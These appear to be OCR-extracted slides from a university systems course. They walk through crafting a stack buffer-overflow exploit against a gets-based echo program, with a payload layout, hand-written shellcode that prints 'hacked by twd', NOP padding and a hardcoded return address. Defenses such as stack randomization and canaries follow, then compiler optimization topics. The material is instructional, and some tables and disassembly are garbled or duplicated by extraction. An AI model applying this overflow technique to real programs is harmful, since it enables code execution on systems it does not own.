## CS 33

## Machine Programming (6)

## Crafting the Exploit ...

- Code + padding
- 96 bytes long
» 80 bytes for buf
" 8 bytes for base pointer
» 8 bytes for return address

Code (in C):
void exploit() \{
write(1, "hacked by twd",
strlen("hacked by twd"));
exit(0);
\}


## Assembler Code from gcc

```
    .file "exploit.c"
    .section .rodata.str1.1,"aMS",@progbits,1
. LC0:
    .string "hacked by twd"
    .text
    .globl exploit
    .type exploit, @function
exploit:
.LFB19:
.cfi_startproc
    subq $8, %rsp
    .cfi_def_cfa_offset 16
    movl $13, %edx
    movl $.LC0, %esi
    movl $1, %edi
    call write
    movl $0, %edi
    call exit
    .cfi_endproc
.LFE19:
.size exploit, .-exploit
.ident "GCC: (Debian 4.7.2-5) 4.7.2"
.section .note.GNU-stack,"",@progbits
```


## Exploit

```
exploit: # assume start address is 0x7fffffffe6d0
    subq $8, %rsp # needed for syscall instructions
    movl $13, %edx # length of string
    movq $0x7fffffffe6fb, %rsi # address of output string
    movl $1, %edi # write to standard output
    movl $1, %eax # do a "write" system call
    syscall
    movl $0, %edi # argument to exit is 0
    movl $60, %eax # do an "exit" system call
    syscall
str:
.string "hacked by twd"
    c}\begin{array}{c}{nop}\\{\mathrm{ nop }}\\{\cdots..}\\{nop}\end{array}]26 no-op
.quad 0x7fffffffe6d0
.byte '\n'
```


## Actual Object Code

Disassembly of section .text:
0000000000000000 <exploit>:

| 0 : | 48 | 83 ec | 08 |  |  | sub | \$0x8, \%rsp |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| 4 : | ba | 0 e 00 | 00 | 00 |  | mov | \$0xe, \%edx |
| 9 : | 48 | be fb | e6 | ff | $f f$ ff | movabs | \$0x7fffffffe6fb, \%rsi |
| 10: | 7 f | 0000 |  |  |  |  |  |
| 13: | bf | 0100 | 00 | 00 |  | mov | \$0x1, \%edi |
| 18: | b 8 | 0100 | 00 | 00 |  | mov | \$0x1, \%eax |
| 1d: | 0 f | 05 |  |  |  | syscall |  |
| 1f: | bf | 0000 | 00 | 00 |  | mov | \$0x0, \%edi |
| 24: | b 8 | 3 c 00 | 00 | 00 |  | mov | \$ $0 \times 3 \mathrm{c}$, \%eax |
| 29: | 0 f | 05 |  |  |  | syscall |  |

000000000000002 b <str>:
2b: $68 \quad 6163$ 6b 65
30: 64206279
34: 20747764
38: 0090909090

## Using the Exploit

1) Assemble the code
gcc -c exploit.s
2) disassemble it
objdump -d exploit.o > exploit.txt
3) edit object.txt
(see next slide)
4) Convert to raw and input to exploitee
cat exploit.txt | ./hex2raw | ./echo

## Unedited exploit.txt



## Edited exploit.txt



## Quiz 1

```
int main( ) {
    char buf[80];
    gets(buf);
    puts(buf);
    return 0;
```

\}
main:
subq \$80, \%rsp \# grow stack
movq \%rsp, \%rdi \# setup arg
call gets
movq \%rsp, \%rdi \# setup arg
call puts
movl $\$ 0$, \%eax \# set return value
addq $\$ 80$, \%rsp \# pop stack
ret

## The exploit code is

 executed:a) on return from main
b) before the call to gets
c) before the call to puts, but after gets returns

## Example



## Defense!

- Don't use gets!
- Make it difficult to craft exploits
- Detect exploits before they can do harm


## System-Level Protections

- Randomized stack offsets
- at start of program, allocate random amount of space on stack
- makes it difficult for hacker to predict beginning of inserted code
- Non-executable code segments
- in traditional x86, can mark region of memory as either "read-only" or "writeable"
» can execute anything readable
- modern hardware requires explicit "execute" permission


## Stack Randomization

- We don't know exactly where the stack is
- buffer is 2000 bytes long
- the start of the buffer might be anywhere between 7000 and 8000

| previous frame |  |
| :---: | :---: |
| 9000 | ???? |
|  |  |
|  | buf <br> $(2000$ bytes $)$ |


| previous frame |  |
| :--- | :---: |
| 10000 | ???? |
| buf <br> (2000 bytes) |  |
| 8000 |  |
|  |  |

## NOP Slides

- NOP (No-Op) instructions do nothing
- they just increment \%rip to point to the next instruction
- they are each one-byte long
- a sequence of $\mathbf{n}$ NOPs occupies $\mathbf{n}$ bytes
» if executed, they effectively add $\mathbf{n}$ to \%rip
" execution "slides" through them


## NOP Slides and Stack Randomization



## Stack Canaries

- Idea
- place special value ("canary") on stack just beyond buffer
- check for corruption before exiting function
- gcc implementation
- -fstack-protector
- -fstack-protector-all

```
unix>./echo-protected
Type a string:1234
1234
```

```
unix>./echo-protected
```

unix>./echo-protected
Type a string:12345
Type a string:12345
*** stack smashing detected ***

```
*** stack smashing detected ***
```


## Protected Buffer Disassembly

```
0000000000001155 <echo>:
    1155: 55
    1156: 48 89 e5
    1159: 48 83 ec 10
    115d: 64 48 8b 04 25 28 00
    1164: 00 00
    1166: 48 89 45 f
    116a: 31 c0
    116c: 48 8d 45 f4
    1170: 48 89 c7
    1173: b8 00 00 00 00
    1178: e8 d3 fe ff ff
117d: 48 8d 45 f4
1181: 48 89 c7
1184: e8 a7 fe ff ff
1189: b8 00 00 00 00
118e: 48 8b 55 f8
1192: 64 48 33 14 25 28 00
1199: 00 00
119b: 74 05
119d: e8 9e fe ff ff
11a2: c9
11a3: c3
```

push %rbp

```
push %rbp
```

push %rbp
mov %rsp,%rbp
mov %rsp,%rbp
mov %rsp,%rbp
sub \$0x10,%rsp
sub \$0x10,%rsp
sub \$0x10,%rsp
mov %fs:0x28,%rax
mov %fs:0x28,%rax
mov %fs:0x28,%rax
mov %rax,-0x8 (%rbp)
mov %rax,-0x8 (%rbp)
mov %rax,-0x8 (%rbp)
xor %eax,%eax
xor %eax,%eax
xor %eax,%eax
lea -0xc(%rbp),%rax
lea -0xc(%rbp),%rax
lea -0xc(%rbp),%rax
mov %rax,%rdi
mov %rax,%rdi
mov %rax,%rdi
mov \$0x0,%eax
mov \$0x0,%eax
mov \$0x0,%eax
callq 1050 [gets@plt](mailto:gets@plt)
callq 1050 [gets@plt](mailto:gets@plt)
callq 1050 [gets@plt](mailto:gets@plt)
lea -0xc(%rbp),%rax
lea -0xc(%rbp),%rax
lea -0xc(%rbp),%rax
mov %rax,%rdi
mov %rax,%rdi
mov %rax,%rdi
callq 1030 [puts@plt](mailto:puts@plt)
callq 1030 [puts@plt](mailto:puts@plt)
callq 1030 [puts@plt](mailto:puts@plt)
mov \$0x0,%eax
mov \$0x0,%eax
mov \$0x0,%eax
mov -0x8(%rbp),%rdx
mov -0x8(%rbp),%rdx
mov -0x8(%rbp),%rdx
xor %fs:0x28,%rdx
xor %fs:0x28,%rdx
xor %fs:0x28,%rdx
je 11a2 <main+0x4d>
je 11a2 <main+0x4d>
je 11a2 <main+0x4d>
callq 1040 [__stack_chk_fail@plt](mailto:__stack_chk_fail@plt)
callq 1040 [__stack_chk_fail@plt](mailto:__stack_chk_fail@plt)
callq 1040 [__stack_chk_fail@plt](mailto:__stack_chk_fail@plt)
leaveq
leaveq
leaveq
retq

```
```

retq

```
```

retq

```
```


## Setting Up Canary



## Checking Canary



## Tail Recursion



## No Tail Recursion (1)

| x: 6 |
| :---: |
| return addr |
| x: 5 |
| return addr |
| x: 4 |
| return addr |
| x: 3 |
| return addr |
| x: 2 |
| return addr |
| x: 1 |
| return addr |

## No Tail Recursion (2)

| x: 6 |
| :---: |
| return addr |
| x: 5 |
| return addr |
| x: 4 |
| return addr |
| x: 3 |
| return addr |
| x: 2 |
| return addr |
| x: 1 |
| return addr |

ret: 720
ret: 120
ret: 24
ret: 6
ret: 2
ret: 1

## Tail Recursion



## Code: gcc -01

f2:

```
            movl %esi, %eax
            cmpl $1, %edi
je .L5
subq $8, %rsp
movl %edi, %esi
imull %eax, %esi
subl $1, %edi
call f2 # recursive call!
addq $8, %rsp
rep
ret
```

.L5:

## Code: gcc-02

f2:

| cmpl | \$1, \%edi |
| :--- | :--- |
| movl | \%esi, \%eax |
| je | .L8 |

.L12 :

| imull | \%edi, \%eax |
| :--- | :--- |
| subl | $\$ 1, \% e d i$ |
| cmpl | $\$ 1, \% e d i$ |
| jne | .$L 12$ |


. L8 :

$$
\begin{aligned}
& \text { rep } \\
& \text { ret }
\end{aligned}
$$

# Computer Architecture and Optimization (1) 

What You Need to Know to Write Better Code

## Simplistic View of Processor

```
while (true) {
    instruction = mem[rip];
    execute(instruction);
}
```


## Some Details

void execute(instruction $t$ instruction) \{ decode(instruction, \&opcode, \&operands); fetch(operands, \&in_operands); perform(opcode, in_operands, \&out_operands); store(out_operands);

## Pipelines

| Decode | Fetch | Perform | Store | Decode | Fetch | Perform | Store |
| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |



## Analysis

- Not pipelined
- each instruction takes, say, 3.2 nanoseconds
» 3.2 ns latency
- 312.5 million instructions/second (MIPS)
- Pipelined
- each instruction still takes 3.2 ns
» latency still 3.2 ns
- an instruction completes every .8 ns
» 1.25 billion instructions/second (GIPS) throughput


## Hazards ...



## Data Hazards

$$
\begin{aligned}
& \text { addq } 12(\% r b x), ~ \% r a x \\
& \text { addq } \$ 20, \% r a x \\
& \text { movq } 40(\% r a x), \% r s p
\end{aligned}
$$



## Coping

| Decode | 12(\%rbx), \%rax | addq | \%rax |
| :---: | :---: | :---: | :---: |
|  | Decode |  |  |
|  |  | Decode |  |


| $\$ 20$, <br> $\% r a x$ | addq | \%rax |
| :--- | :--- | :--- |



## Control Hazards

```
    movl $0, %ecx
.L2:
    movl %edx, %eax
    andl $1, %eax
    addl %eax, %ecx
    shrl $1, %edx
    jne .L2 # what goes in the pipeline?
    movl %ecx, %eax
```


## Coping: Guess

- Branch prediction
- assume, for example, that conditional branches are always taken
- but don't do anything to registers or memory until you know for sure


## Modern CPU Design



## Performance Realities

There's more to performance than asymptotic complexity

- Constant factors matter too!
- easily see 10:1 performance range depending on how code is written
- must optimize at multiple levels:
» algorithm, data representations, functions, and loops
- Must understand system to optimize performance
- how programs are compiled and executed
- how to measure program performance and identify bottlenecks
- how to improve performance without destroying code modularity and generality


## Optimizing Compilers

- Provide efficient mapping of program to machine
- register allocation
- code selection and ordering (scheduling)
- eliminating minor inefficiencies
- Don't (usually) improve asymptotic efficiency
- up to programmer to select best overall algorithm
- big-O savings are (often) more important than constant factors
» but constant factors also matter
- Have difficulty overcoming "optimization blockers"
- potential memory aliasing
- potential function side-effects


## Limitations of Optimizing Compilers

- Operate under fundamental constraint
- must not cause any change in program behavior
- often prevents it from making optimizations that would only affect behavior under pathological conditions
- Behavior that may be obvious to the programmer can be obfuscated by languages and coding styles
- e.g., data ranges may be more limited than variable types suggest
- Most analysis is performed only within functions
- whole-program analysis is too expensive in most cases
- Most analysis is based only on static information
- compiler has difficulty anticipating run-time inputs
- When in doubt, the compiler must be conservative


## Generally Useful Optimizations

- Optimizations that you or the compiler should do regardless of processor / compiler
- Code Motion
- reduce frequency with which computation performed
» if it will always produce same result
» especially moving code out of loop

```
void set_row(long *a, long *b,
    long i}, long n) {
        long j;
    for (j = 0; j < n; j++)
        a[n*i+j] = b[j];
}
```



## Reduction in Strength

- Replace costly operation with simpler one
- Shift, add instead of multiply or divide

16*x $\quad-->\quad x \ll 4$

- utility is machine-dependent
- depends on cost of multiply or divide instruction
» on some Intel processors, multiplies are $3 x$ longer than adds
- Recognize sequence of products

```
for (i = 0; i < n; i++)
    for (j = 0; j < n; j++)
        a[n*i + j] = b[j];
```

```
int ni = 0;
for (i = 0; i < n; i++) {
    for (j = 0; j < n; j++)
    a[ni + j] = b[j];
    ni += n;
}
```


## Share Common Subexpressions

- Reuse portions of expressions
- Compilers often not very sophisticated in exploiting arithmetic properties

```
/* Sum neighbors of i,j */
up = val[(i-1)*n + j ];
down = val[(i+1)*n + j ];
left = val[i*n + j-1];
right = val[i*n + j+1];
sum = up + down + left + right;
```

3 multiplications: $i^{*} n,(i-1)^{*} n,(i+1)^{*} n$

| leaq | 1(\%rsi), \%rax | \# i+1 |
| :---: | :---: | :---: |
| leaq | -1(\%rsi) , \%r8 | \# i-1 |
| imulq | \%rcx, \%rsi | \# i*n |
| imulq | \%rcx, \%rax | \# (i+1)*n |
| imulq | \%rcx, \%r8 | \# (i-1)*n |
| addq | \%rdx, \%rsi | \# i*n+j |
| addq | \%rdx, \%rax | \# (i+1)*n+j |
| addq | \%rdx, \%r8 | \# (i-1)*n+j |

```
long inj = i*n + j;
up = val[inj - n];
down = val[inj + n];
left = val[inj - 1];
right = val[inj + 1];
sum = up + down + left + right;
```

1 multiplication: $i^{*} n$

```
imulq %rcx, %rsi # i*n
addq %rdx, %rsi # i*n+j
movq %rsi, %rax # i*n+j
subq %rcx, %rax # i*n+j-n
leaq (%rsi,%rcx), %rcx # i*n+j+n
```


## Quiz 2

The fastest means for evaluating

$$
n * n+2 * n+1
$$

requires exactly:
a) $\mathbf{2}$ multiplies and $\mathbf{2}$ additions
b) three additions
c) one multiply and two additions
d) one multiply and one addition

Hint: remember high-school algebra

